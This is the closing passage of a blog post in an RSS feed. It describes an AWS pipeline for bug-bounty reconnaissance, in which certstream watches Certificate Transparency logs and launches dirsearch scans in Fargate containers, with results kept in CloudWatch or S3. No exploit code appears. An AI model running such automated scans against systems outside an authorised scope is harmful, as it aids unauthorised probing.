&quot;Success&quot;<br>    except Exception, e:<br>        raise e</pre><p>Make sure you already created your ECS Cluster and your task definition along with the corresponding IAM / Task execution role for your ECS containers. I built the dirsearch docker image and pushed it to <strong>ECR </strong>and granted access to my ECR repo to ECS with IAM Task execution role.</p><p>You can test the whole flow by running the certstream Python Script on your EC2 and observe a batch of Fargate containers starting in your ECS cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYVo09FPc3H0ObZoHi2FNg.png" /></figure><p>Once the dirsearch jobs are done, you can inspect the logs in CloudWatch or ship them to S3 ( by specifying the argument in dirsearch &amp; tweaking dirsearch scripts ) to query them with Athena : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kV7CmEPAQiQCu5ZzwbGVVg.jpeg" /></figure><h3>Conclusion</h3><p>Certificate Transparency logs are used by many subdomains enumeration tools to widen the attack surface for your target. The above workflow can be scaled to use multiple recon tools to scan targets with AWS in real time and further gather assets for your bug bounty data lake :)</p><p>Thanks for tuning in !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d39f75d962a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>